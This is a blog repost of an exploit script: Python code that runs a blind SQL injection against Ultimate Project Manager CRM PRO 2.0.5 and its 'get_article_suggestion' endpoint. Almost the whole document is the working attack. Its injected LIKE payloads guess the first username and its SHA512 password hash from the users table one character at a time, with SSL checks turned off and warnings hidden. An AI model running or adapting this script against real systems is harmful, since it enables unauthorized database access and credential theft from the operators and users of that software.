Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86382154

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Ultimate Project Manager CRM PRO 2.0.5 - SQLi Credentials Leakage
# Date: 2020-16-09
# Exploit Author: nag0mez
# Vendor Homepage: https://ultimatepro.codexcube.com/
# Version: <= 2.0.5
# Tested on: Kali Linux 2020.2


# The SQLi injection does not allow UNION payloads. However, we can guess usernames and passwords fuzzing the database.

#!/usr/bin/env python3
#-*- coding: utf-8 -*-
import requests
import sys

# The original vulnerability was found on a server with an invalid SSL certificate,
# which Python could not verify. I added the verify=False parameter to avoid SSL check.
# The lack of verification results in a warning message from Python.
# To get a clean output, we will ignore all warnings.
import warnings
warnings.filterwarnings("ignore")

host = 'https://testurl.test' # Change
url = "{}/frontend/get_article_suggestion/".format(host)

chars = '1234567890abcdefghijklmnopqrstuvwxyz'
hex_chars = 'abcdef1234567890'

def send_payload(payload):
	try:
		response = requests.post(url, data=payload, verify=False)
		content = response.text
		length = len(content)
		return length
	except Exception as e:
		print('Cannot connect to host. Exit.')
		sys.exit(1)
	

def get_first_user():
	found = True
	known = ''

	while found:

		found = False
		for c in chars:
			test = known + c
			payload = {'search': "' or (select username from tbl_users limit 1)like'{}%'-- ".format(test)}
			length = send_payload(payload)

			if length > 2:
				found = True
				known += c
				print(c, end='')
				sys.stdout.flush()
				break

	return known

def get_hash(username):
	found = True
	known = ''

	while found:

		found = False
		for c in hex_chars:
			test = known + c
			payload = {'search': "' or (select password from tbl_users where username='{}' limit 1)like'{}%'-- ".format(username,test)}
			length = send_payload(payload)

			if length > 2:
				found = True
				known += c
				print(c, end='')
				sys.stdout.flush()
				break

	return known


if __name__ == '__main__':
	print('Exploit started.')
	print('Guessing username...')

	username = get_first_user()

	if username != '':
		print('\nUsername found: {}'.format(username))
	else:
		print('\nCould not get username! Exit.')
		sys.exit(1)

	print('Guessing password SHA512 hash...')

	sha = get_hash(username)

	if sha != '':
		print('\nHash found: {}'.format(sha))
	else:
		print('\nCould not get Hash! Exit.')
		sys.exit(1)